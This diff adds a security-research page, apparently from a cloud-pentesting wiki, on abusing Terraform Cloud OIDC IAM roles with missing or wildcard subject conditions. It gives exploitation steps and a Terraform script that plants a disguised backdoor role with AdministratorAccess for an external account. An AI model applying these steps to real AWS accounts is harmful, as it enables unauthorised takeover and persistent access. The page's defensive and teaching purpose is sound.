|
| 1 | +--- |
| 2 | +author_name: Eduard Agavriloae |
| 3 | +title: "Exploiting Misconfigured Terraform Cloud OIDC AWS IAM Roles" |
| 4 | +description: Discover how to identify and exploit misconfigured AWS IAM roles using Terraform Cloud OIDC |
| 5 | +--- |
| 6 | + |
| 7 | +<div class="grid cards" markdown> |
| 8 | + |
| 9 | +- :material-account:{ .lg .middle } __Original Research__ |
| 10 | + |
| 11 | + --- |
| 12 | + |
| 13 | + <aside style="display:flex"> |
| 14 | + <p><a href="https://hacktodef.com/addressed-aws-defaults-risks-oidc-terraform-and-anonymous-to-administratoraccess">Addressed AWS defaults risks: OIDC, Terraform and Anonymous to AdministratorAccess</a> by <a href="https://www.linkedin.com/in/eduard-k-agavriloae/">Eduard Agavriloae</a></p> |
| 15 | + <p><img src="/images/researchers/eduard_agavriloae.jpg" alt="Eduard Agavriloae" style="width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset"></img></p> |
| 16 | + </aside> |
| 17 | + |
| 18 | +</div> |
| 19 | + |
| 20 | +OIDC stands for OpenID Connect and is an identity layer built on top of the OAuth 2.0 protocol. In AWS, OIDC can be used to federate identities from external identity providers, such as Google, Facebook or Terraform, allowing users to access AWS resources using their existing third-party accounts. |
| 21 | + |
| 22 | +OIDC is useful because instead of creating a set of AWS access keys for a user with administrator permissions and worry that they might get exposed, you can configure an IAM role with OIDC for Terraform Cloud to assume. |
| 23 | + |
| 24 | + |
| 25 | + |
| 26 | +## IAM role misconfiguration using Terraform Cloud OIDC |
| 27 | + |
| 28 | +### Part of the past as of 7th of February |
| 29 | + |
| 30 | +When the issue was first documented, the presence of this misconfiguration was partially facilitated by AWS. If you were to create from the web portal a new IAM role for Terraform Cloud, by default the role's trust policy would look like this: |
| 31 | + |
| 32 | +```json |
| 33 | +{ |
| 34 | + "Version": "2012-10-17", |
| 35 | + "Statement": [ |
| 36 | + { |
| 37 | + "Effect": "Allow", |
| 38 | + "Principal": { |
| 39 | + "Federated": "arn:aws:iam::<aws-account-id>:oidc-provider/app.terraform.io" |
| 40 | + }, |
| 41 | + "Action": "sts:AssumeRoleWithWebIdentity", |
| 42 | + "Condition": { |
| 43 | + "StringEquals": { |
| 44 | + "app.terraform.io:aud": "aws.workload.identity" |
| 45 | + } |
| 46 | + } |
| 47 | + } |
| 48 | + ] |
| 49 | +} |
| 50 | +``` |
| 51 | + |
| 52 | +This trust role policy is missing the "app.terraform.io:sub" condition. Essentially, the present misconfiguration allows anyone to assume this role. As documented by [Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/workspaces/dynamic-provider-credentials/aws-configuration), you need to specify your organization through the subject condition like below to limit the access to this role: |
| 53 | + |
| 54 | +```json |
| 55 | +"Condition": { |
| 56 | + "StringEquals": { |
| 57 | + "app.terraform.io:aud": "aws.workload.identity" |
| 58 | + }, |
| 59 | + "StringLike": { |
| 60 | + "app.terraform.io:sub": "organization:<your-terraform-organization>:project:<project>:workspace:<workspace>:run_phase:<run_phase>" |
| 61 | + } |
| 62 | +} |
| 63 | +``` |
| 64 | + |
| 65 | +Well, AWS made some changes and now they require from the start to specify the Organization, Project, Workspace, and Run Phase. Even more, now you can't create Terraform Cloud OIDC roles that don't have the subject condition. |
| 66 | + |
| 67 | + |
| 68 | + |
| 69 | +And for anyone who had a role for Terraform Cloud without the subject, on 8th of November 2024 AWS sent a notification that announced two things: |
| 70 | + |
| 71 | +- Starting 7th of November 2024 you will not be able to create new Terraform Cloud roles without the subject condition |
| 72 | +- Starting 7th of February 2025 the subject condition will be enforced for these roles (so most likely the misconfigured roles will not work anymore afterwards) |
| 73 | + |
| 74 | + |
| 75 | + |
| 76 | +So while you might still be able to find roles misconfigured like this (without the subject condition), just be aware that the attack against it most likely will not work starting from 7th of February 2025. |
| 77 | + |
| 78 | +Can you still exploit misconfigured Terraform Cloud OIDC roles? Yes. |
| 79 | + |
| 80 | +### The present misconfiguration |
| 81 | + |
| 82 | +These roles can still be misconfigured. All it takes is an asterisks in the organization's name. |
| 83 | + |
| 84 | + |
| 85 | + |
| 86 | +So let's say we identified a role with the next trust policy: |
| 87 | + |
| 88 | +```json |
| 89 | +{ |
| 90 | + "Version": "2012-10-17", |
| 91 | + "Statement": [ |
| 92 | + { |
| 93 | + "Effect": "Allow", |
| 94 | + "Principal": { |
| 95 | + "Federated": "arn:aws:iam::259230201556:oidc-provider/app.terraform.io" |
| 96 | + }, |
| 97 | + "Action": "sts:AssumeRoleWithWebIdentity", |
| 98 | + "Condition": { |
| 99 | + "StringEquals": { |
| 100 | + "app.terraform.io:aud": "aws.workload.identity" |
| 101 | + }, |
| 102 | + "StringLike": { |
| 103 | + "app.terraform.io:sub": "organization:hackingthe*:project:blog:workspace:prod-front-end:run_phase:*" |
| 104 | + } |
| 105 | + } |
| 106 | + } |
| 107 | + ] |
| 108 | +} |
| 109 | +``` |
| 110 | + |
| 111 | +Notice the asterisk from the organization's name. Because the value is `hackingthe*`, we should be able to assume this role as described in the next section. |
| 112 | + |
| 113 | +## Exploitation |
| 114 | + |
| 115 | +Go to [Terraform Cloud](https://app.terraform.io/), create an account (it's free) and: |
| 116 | + |
| 117 | +- Create an organization that follows the mentioned pattern: `hackingthe-*` |
| 118 | +- Create a project named `blog` |
| 119 | +- Create a workspace named `prod-front-end` |
| 120 | + |
| 121 | +The `run_phase` is usually an asterisk as it's values refer to the stages that occur during a Terraform operation: plan, policy check and apply. |
| 122 | + |
| 123 | +The next step involves configuring the next two variables in Terraform Cloud: |
| 124 | + |
| 125 | +- TFC_AWS_PROVIDER_AUTH: true |
| 126 | + - This will tell Terraform Cloud to authenticate with AWS |
| 127 | +- TFC_AWS_RUN_ROLE_ARN: arn:aws:iam::<aws-account-id>:role/<role-name> |
| 128 | + - This will tell Terraform Cloud what role to assume |
| 129 | + |
| 130 | + |
| 131 | + |
| 132 | + |
| 133 | +Prepare a Terraform script of your choice. Here is an example that wil create a backdoored role with administrator permissions. Please make sure you are authorized to perform this test. |
| 134 | + |
| 135 | +```text |
| 136 | +# here we need to set the the details of our organization |
| 137 | +terraform { |
| 138 | + cloud { |
| 139 | + organization = "hackingthe-anything" |
| 140 | + workspaces { |
| 141 | + name = "prod-front-end" |
| 142 | + } |
| 143 | + } |
| 144 | +} |
| 145 | +
|
| 146 | +# region can be anything if you create only IAM resources |
| 147 | +provider "aws" { |
| 148 | + region = "eu-central-1" |
| 149 | +} |
| 150 | +
|
| 151 | +# create role named "AWSServicesRoleForAutomation" that can be assumed from an external AWS account |
| 152 | +resource "aws_iam_role" "create_role" { |
| 153 | + name = "AWSServicesRoleForAutomation" |
| 154 | + assume_role_policy = jsonencode({ |
| 155 | + "Version" : "2012-10-17", |
| 156 | + "Statement": [ |
| 157 | + { |
| 158 | + "Effect": "Allow", |
| 159 | + "Principal": { |
| 160 | + "AWS": "arn:aws:iam::<external-aws-account>:root" |
| 161 | + }, |
| 162 | + "Action": "sts:AssumeRole", |
| 163 | + "Condition": {} |
| 164 | + } |
| 165 | + ] |
| 166 | + }) |
| 167 | +} |
| 168 | +
|
| 169 | +# attach administrator level permissions to this role |
| 170 | +resource "aws_iam_policy_attachment" "create_role_backdoor" { |
| 171 | + name = "create_role_backdoor" |
| 172 | + roles = [aws_iam_role.create_role.name] |
| 173 | + policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess" |
| 174 | +} |
| 175 | +``` |
| 176 | + |
| 177 | +Save this to `main.tf`, login in terraform CLI and apply the changes. |
| 178 | + |
| 179 | +```bash |
| 180 | +terraform login |
| 181 | +terraform init |
| 182 | +terraform apply |
| 183 | +``` |
| 184 | + |
| 185 | +Now the role should be created and you can try to assume it from the external AWS account. |
0 commit comments